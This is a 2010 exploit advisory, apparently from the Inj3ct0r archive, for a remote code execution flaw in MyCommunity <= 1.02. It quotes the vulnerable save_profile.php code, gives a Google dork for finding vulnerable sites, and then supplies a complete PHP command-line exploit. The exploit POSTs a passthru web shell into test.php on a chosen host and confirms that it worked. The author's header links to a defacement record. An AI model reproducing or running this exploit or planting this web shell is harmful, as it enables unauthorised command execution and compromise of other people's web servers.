MyCommunity <= V1.02 Remote Code Execution
Posted on 23 June 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>MyCommunity <= V1.02 Remote Code Execution </title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>========================================== MyCommunity <= V1.02 Remote Code Execution ========================================== +-------------------------------------------------------------------------------------------------------------------------------+ | _______ __ ______ | | | | |.--.--.| |--..-----. | |.----..-----..--.--.--. | | | || | || < | -__| | ---|| _|| -__|| | | | | | |__|____||_____||__|__||_____| |______||__| |_____||________| | +-------------------------------------------------------------------------------------------------------------------------------+ | Name: MyCommunity <= V1.02 Remote Code Execution | | Software: MyCommunity <= V1.02 | | Site: http://articstudios.net/download.php | | Download: http://articstudios.net/mycommunityscript/files/MyCommunity%201.0.2.rar | | Vulnerability: Remote Code Execution | | Severity: high ( low / medium / high ) | | Tested on: 1.02 | | Dork: 'The script is made by "Artic Studios"' | +-------------------------------------------------------------------------------------------------------------------------------+ | Author: Lord-Anubis | | Contact: lord.anu bis4[at]gm ail[dot]com | | Date: 23.06.2010 ( dd.mm.yyyy ) | | Site: http://lordanubis.altervista.org/ | | Defaces: http://www.zone-h.org/archive/notifier=Lord-Anubis | | Exploits: http://inj3ct0r.com/author/2486 | +-------------------------------------------------------------------------------------------------------------------------------+ | Bug File: save_profile.php | | 3. if ( isset( $_POST ) ) | | 4. $postArray = &$_POST ; // 4.1.0 or later, use $_POST | | 5. else | | 6. $postArray = &$HTTP_POST_VARS ; // prior to 4.1.0, use HTTP_POST_VARS | | 7. | | 8. foreach ( $postArray as $sForm => $value ) | | 9. { | | 10 $postedValue = htmlspecialchars( stripslashes( $value ) ) ; | | 11. $writeValue = stripslashes( $value ) ; | | 12. | | 13. // Open the file for truncated writing | | 14. $fp = @fopen("test.php", "w") or die("Couldn't open file for writing!"); //change mypage.html to point to the file you | | 15. want to edit | | 15. $numBytes = @fwrite($fp, $writeValue) or die("Couldn't write html to file!"); | | +-------------------------------------------------------------------------------------------------------------------------------+ | Bug Explanation: | | - EN: The file save_profile.php allows the creation of a page called test.php without any control on the data POST's | | origin, indeed happens the stripslashes on the strings. Now it will be possible create any page with any | | content. | | //////////////////////////////////////////////////////////////////////////////////////////////////////////////////// | | - ITA: Il file save_profile.php permette la creazione di una pagina chiamata test.php non effettuando alcun controllo | | sulla provenienza dei dati POST, anzi viene addirittura lo stripslashes sulle stringhe. Sarà così possibile | | creare una pagina qualsiasi con un qualsiasi nostro contenuto. | | //////////////////////////////////////////////////////////////////////////////////////////////////////////////////// | | - PL: ... | +-------------------------------------------------------------------------------------------------------------------------------+ | Exploit: | +-------------------------------------------------------------------------------------------------------------------------------+ <?php /** * exploit.php * * Software: MyCommunity <= V1.02 * Author: Lord-Anubis <lord.anu bis4[at]gm ail[dot]com> * Vulnerability: Remote Code Execution */ // error_reporting(0); ini_set("max_execution_time", 0); ini_set("default_socket_timeout", 5); // function sendPacket($packet) { global $hostName; if (!$sock = fsockopen(gethostbyname($hostName), 80)) { exit("[-] No response from '{$hostName}' "); } fputs($sock, $packet); while (!feof($sock)) { $html .= fgets($sock); } fclose($sock); return $html; } // // function phpCode() { return "<?php ob_end_clean();ob_clean();passthru($_GET['cmd']);die('Lord-Anubis');?>"; } // if (php_sapi_name() !== 'cli') { exit( "<html><head><title>Attention!</title></head> ". "<body><br /><br /><center> ". "<h1>Error!</h1> ". "This exploit is meant to be used as php CLI script!<br /> ". "More information:<br /> ". "<a href="http://www.google.com/search?hl=en&q=php+cli+windows" target="_blank">http://www.google.com/search?hl=en&q=php+cli+windows</a><br /> ". "This script will not run through a webserver.<br /> ". "</center></body></html> " ); } // if ($argc != 3) { exit( "[+] Software: MyCommunity <= V1.01 ". "[+] Author: Lord-Anubis ". "[+] Vulnerability: Remote Code Execution ". "[+] Usage: ./exploit [hostName] [path] ". "[+] Example: ". "[+] ./exploit 127.0.0.1 / ". "[+] ./exploit hostname.com /upload/ " ); } // list($cli, $hostName, $path) = $argv; // $getUrl = parse_url($hostName); $hostName = $getUrl["path"]; if (substr($hostName, 0, 4) == 'www.') { $hostName = substr($hostName, 3); } // if (substr($path, 0, 1) != "/") { $path = "/$path"; } if (substr($path, -1) != "/") { $path = "$path/"; } // $postData = "post=".phpCode(); $packet = "POST http://{$hostName}{$path}save_profile.php HTTP/1.1 "; $packet .= "Content-Type: application/x-www-form-urlencoded "; $packet .= "Host: {$hostName} "; $packet .= "Content-Length: ".strlen($postData)." "; $packet .= "Referer: http://{$hostName}{$path} "; $packet .= $postData; $return = sendPacket($packet); // if (!preg_match('/Lord-Anubis/is', $return)) { exit("[-] Exploit failed "); } // echo("[+] http://{$hostName}{$path}test.php "); echo("[+] Exploit successfull "); exit; ?> # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-23]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
